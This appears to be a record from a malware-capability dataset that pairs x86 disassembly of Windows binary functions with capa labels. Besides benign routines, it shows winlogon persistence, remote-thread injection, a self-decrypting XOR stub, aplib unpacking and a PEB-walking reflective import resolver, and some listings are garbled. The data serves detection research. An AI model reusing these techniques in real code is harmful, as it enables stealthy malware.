joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1030b91
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x24
push 0x1030d80
call fcn.010015a0
mov dword [ebp - 0x1c], 0x57
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
mov edi, 0x101034c
push edi
push dword [ebp + 8]
mov esi, dword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegQueryValueExW]
call esi
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x1030c1b
mov eax, dword [0x1040184]
cmp eax, 0x1040184
je 0x1030d44
test dword [eax + 0x1c], 0x40000
je 0x1030d44
cmp byte [eax + 0x19], 2
jb 0x1030d44
push dword [ebp - 0x1c]
push 0x1002538
push 0x10
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.01001f65
jmp 0x1030d44
push dword [ebp - 0x20]
call fcn.01001fd2
mov dword [ebp - 0x28], eax
cmp eax, ebx
jne 0x1030c36
mov dword [ebp - 0x1c], 0xe
jmp 0x1030d44
lea ecx, [ebp - 0x20]
push ecx
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
push edi
push dword [ebp + 8]
call esi
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x1030c80
mov eax, dword [0x1040184]
cmp eax, 0x1040184
je 0x1030d44
test dword [eax + 0x1c], 0x40000
je 0x1030d44
cmp byte [eax + 0x19], 2
jb 0x1030d44
push dword [ebp - 0x1c]
push 0x1002538
push 0x11
jmp 0x1030c0b
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
push edi
push dword [ebp + 0xc]
call esi
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x1030cca
mov eax, dword [0x1040184]
cmp eax, 0x1040184
je 0x1030d44
test dword [eax + 0x1c], 0x40000
je 0x1030d44
cmp byte [eax + 0x19], 2
jb 0x1030d44
push dword [ebp - 0x1c]
push 0x1002538
push 0x12
jmp 0x1030c0b
push dword [ebp - 0x24]
call fcn.01001fd2
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x1030c2a
lea ecx, [ebp - 0x24]
push ecx
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push edi
push dword [ebp + 0xc]
call esi
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x1030d1e
mov eax, dword [0x1040184]
cmp eax, 0x1040184
je 0x1030d44
test dword [eax + 0x1c], 0x40000
je 0x1030d44
cmp byte [eax + 0x19], 2
jb 0x1030d44
push dword [ebp - 0x1c]
push 0x1002538
push 0x13
jmp 0x1030c0b
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x34]
jne 0x1030d3d
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x24]
jne 0x1030d3d
mov edi, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
mov dword [ebp - 0x1c], ebx
je 0x1030d44
mov dword [ebp - 0x1c], 0xd
mov dword [ebp - 4], 0xfffffffe
call fcn.01030d62
mov eax, dword [ebp - 0x1c]
call fcn.01001580
ret 8
Function at 0x1034e8a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 0x8001
call esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x1034f20
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1034ed3
push dword [ebp - 4]
call esi
mov eax, 0xc0000034
jmp 0x1034f1c
push 0
lea eax, [ebp - 8]
push eax
push 0x10
push 0x1042e20
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1034f0b
cmp dword [ebp - 8], 0x10
jne 0x1034f0b
push dword [ebp - 4]
mov dword [0x1042e30], 1
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1034f1c
push dword [ebp - 4]
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xc0000102
pop edi
pop esi
leave
ret
Function at 0x1037312
Capabilities:
Hash data with md5

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret 4
Function at 0x1039b31
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
push 0x1c
push 0x1039c68
call fcn.010015a0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x24]
push eax
push 0x20019
push ebx
push 0x1009fb8
push 0x80000002
call dword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegOpenKeyExW]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x1039bdd
lea eax, [ebp - 0x28]
push eax
push ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
mov edi, 0x1039c54
push edi
push dword [ebp - 0x24]
mov esi, dword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegQueryValueExW]
call esi
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x1039bdd
push dword [ebp - 0x28]
call fcn.0103a4f1
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x1039bdd
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x2c]
push eax
push ebx
push edi
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x1039bdd
cmp dword [ebp - 0x2c], 1
jne 0x1039bd6
mov eax, dword [ebp - 0x28]
cmp eax, 2
jb 0x1039bd6
shr eax, 1
mov ecx, dword [ebp - 0x1c]
cmp word [ecx + eax*2 - 2], bx
je 0x1039bdd
mov dword [ebp - 0x20], 2
mov dword [ebp - 4], 0xfffffffe
call fcn.01039bf9
mov eax, dword [ebp - 0x1c]
call fcn.01001580
ret

Function at 0x103a696
Capabilities:
Create thread
Resume thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp + 8], eax
test eax, eax
je 0x103a713
push ebx
push 0x103a728
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x103a70d
push 0x103a718
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x103a70d
push esi
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push eax
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x103a70c
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call ebx
pop esi
push dword [ebp + 8]
call ebx
pop ebx
leave
ret 4
Function at 0x103c084
Capabilities:
Compare security identifiers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 8]
push eax
push 1
push 8
push 0xfffffffffffffffe
call dword [sym.imp.ntdll.dll_NtOpenThreadToken]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jl 0x103c165
push edi
mov edi, dword [sym.imp.ntdll.dll_NtQueryInformationToken]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 1
push dword [ebp - 8]
call edi
cmp eax, 0xc0000023
jne 0x103c156
push dword [ebp - 4]
push ebx
push dword [0x1040230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x103c0e6
mov esi, 0xc0000017
jmp 0x103c12a
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push 1
push dword [ebp - 8]
call edi
mov esi, eax
test esi, esi
jl 0x103c11b
push dword [ebx]
push dword [0x1040238]
call dword [sym.imp.API_MS_Win_Security_Base_L1_1_0.dll_EqualSid]
mov esi, eax
neg esi
sbb esi, esi
and esi, 0x3fffffde
add esi, 0xc0000022
push ebx
push 0
push dword [0x1040230]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp + 8], 0
je 0x103c15b
test esi, esi
jl 0x103c15b
push 4
pop eax
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x1a
push dword [ebp - 8]
call edi
mov esi, eax
test esi, esi
jl 0x103c15b
cmp dword [ebp - 0xc], 0
jne 0x103c15b
mov esi, 0xc0000022
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x104bc1a
Capabilities:
Encode data using xor

Disassembly:
lea ecx, [ebx + 9]
push 0xffffffffffffffff
push dword [ecx + 0x33]
pop edx
add ecx, dword [edx + ebx + 0x78]
pop edx
mov edi, dword [ecx + 0x17]
mov eax, dword [edi + ebx]
inc esi
inc edx
add edi, 4
lea esi, [eax + ebx - 3]
cmp edx, dword [ecx + 0xf]
jae 0x104be62
cmp eax, 0x6b
sbb eax, esi
push ebx
xor eax, eax
lea ebx, [ebp + eax*2 + 0x37]
and bh, 0x70
push ecx
imul eax, eax, 0xf
xor bl, 0x43
movzx ecx, byte [esi + 3]
dec ebx
sub eax, ecx
sub esi, 0xffffffee
adc ebx, esp
lea esi, [esi - 0x11]
xchg ecx, ecx
cmp byte [esi + 3], 0xa
jae 0x104bc50
xor al, 0
xchg esi, esi
xor eax, dword [esp + 0xc]
pop ecx
pop ebx
jmp 0x104beef
ret
xor eax, 0xf86dc889
jne 0x104bc2b
test esi, eax
sub ecx, 0xffffffef
add esp, 8
xchg ah, al
push dword [ecx + 2]
pop edi
add edx, edx
add edi, ebx
add edx, ebx
mov esi, dword [ecx + 0xa]
mov ax, word [edx + esi]
shl eax, 0x10
shr eax, 0xe
push dword [eax + edi]
add dword [esp], ebx
add ecx, ebp
sbb cl, 0xd3
test ecx, eax
xchg dh, cl
mov eax, dword [esp - 4]
pop esi
xchg ch, dh
jmp eax
Function at 0x40178b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 4], 0
jg 0x4017c9
jl 0x4017ad
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x7fffffff
ja 0x4017c9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 4], 0xffffffff
jg 0x4017ce
jl 0x4017c9
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0x80000001
jae 0x4017ce
jmp 0x401856
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax + 8]
neg eax
sbb eax, eax
and eax, 0xfffffffe
inc eax
inc eax
push eax
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x401856
and dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0xc]
jae 0x401856
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
call fcn.004016b8
pop ecx
pop ecx
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401849
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x40184b
jmp 0x401856
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4017fd
leave
ret

Function at 0x402a75
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xcc]
sub esp, 0x14c
mov eax, dword [0x4093a8]
xor eax, ebp
mov dword [ebp + 0xc8], eax
mov eax, dword [ebp + 0xd4]
push ebx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x7c]
push ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor ebx, ebx
test eax, eax
jne 0x402af2
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x136
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x402ad2
mov byte [ebp - 0x71], bl
jmp 0x402ae4
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push ebx
push esi
mov byte [ebp - 0x71], 1
call edi
add esp, 0x10
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x71], bl
jne 0x402afd
push dword [ebp - 0x78]
push ebx
push ebx
push esi
call edi
add esp, 0x10
mov ecx, dword [ebp + 0xc8]
xor ecx, ebp
pop ebx
call fcn.00402e61
add ebp, 0xcc
leave
ret

Function at 0x402e61
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4093a8]
jne 0x402e6b
repz ret
jmp fcn.004033ae

Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
stosb byte es:[edi], al
or eax, sym.imp.MSVCRT.dll__iob
push eax
add ecx, 0x40
push 0x40d274
push ecx
or byte [0xfe5e8fbf], dl
mov eax, dword [0x374102ac]
xor dword [esi], 0xc
cmpsd dword [esi], dword es:[edi]
sal byte [edi + ecx + 0x51], 0x68
invalid
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x3b43700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.03b4378f
jae 0x3b4370e
xor ecx, ecx
call fcn.03b4378f
jae 0x3b4373d
xor eax, eax
call fcn.03b4378f
jae 0x3b4374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.03b4378f
adc al, al
jae 0x3b4372f
jne 0x3b43779
stosb byte es:[edi], al
jmp 0x3b43711
call fcn.03b4379b
sub ecx, ebx
jne 0x3b43756
call fcn.03b43799
jmp 0x3b43775
lodsb al, byte [esi]
shr eax, 1
je 0x3b43783
adc ecx, ecx
jmp 0x3b43772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.03b43799
cmp eax, 0x7d00
jae 0x3b43772
cmp ah, 5
jae 0x3b43773
cmp eax, 0x7f
ja 0x3b43774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3b43711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x425ef7
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x28
call fcn.004b5994
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
mov dword [ebx], 0x15840a2
push ebx
add ebx, 0x10
push ebx
push 8
call fcn.004b5994
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x566655
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x566760
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.00401432
add esp, 8
cmp eax, 0
jne 0x425f9f
push dword [ebp + 8]
mov eax, 0x5666e2
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x425f9a
push ebx
call fcn.004b598e
add esp, 4
jmp 0x425fcc
push dword [ebp + 8]
mov eax, 0x5666f0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x425fcc
push ebx
call fcn.004b598e
add esp, 4
mov eax, 0x1584024
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, 0x1584097
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x426002
push ebx
call fcn.004b598e
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x426012
push ebx
call fcn.004b598e
add esp, 4
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x426040
push ebx
call fcn.004b598e
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x426098
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x58]
mov word [ebp - 8], ax
cmp word [ebp - 8], 0xc8
jne 0x426098
push 1
push 1
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x426094
push ebx
call fcn.004b598e
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4260c2
push eax
mov ebx, eax
call fcn.004014cf
inc eax
push eax
call fcn.004b5994
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4260c7
push eax
mov ebx, dword [ebp - 4]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.004b598e
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4260e8
push ebx
call fcn.004b598e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x43187b
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x43192f
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0043180b
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x431908
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43193b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x431956
test ebp, ebp
je 0x431956
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x43195e
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x43199e
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4319fa
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4319f5
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4319e0
test dl, dl
je 0x4319dc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4319e0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4319c0
xor eax, eax
jmp 0x4319e5
sbb eax, eax
or eax, 1
test eax, eax
je 0x431a04
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x4319ad
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x431a1b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0043187b
test eax, eax
jne 0x431a33
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0043193b
mov esi, eax
test esi, esi
jne 0x431a69
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x431a83
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x431b7b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0043187b
mov esi, eax
test esi, esi
jne 0x431b99
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0043193b
mov dword [esp + 0x18], eax
test eax, eax
je 0x431b91
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0043193b
mov dword [esp + 0x34], eax
test eax, eax
je 0x431b91
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0043193b
mov dword [esp + 0x28], eax
test eax, eax
je 0x431b91
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0043193b
mov dword [esp + 0x30], eax
test eax, eax
je 0x431b91
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x431d60
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x431d60
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x431cc3
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x431d44
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x431ce6
movzx esi, ax
jmp 0x431ceb
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x431d0a
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x431d19
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x431d6d
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x431cdb
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x431ca0
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x431d96
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x431d96
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x431d7b
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret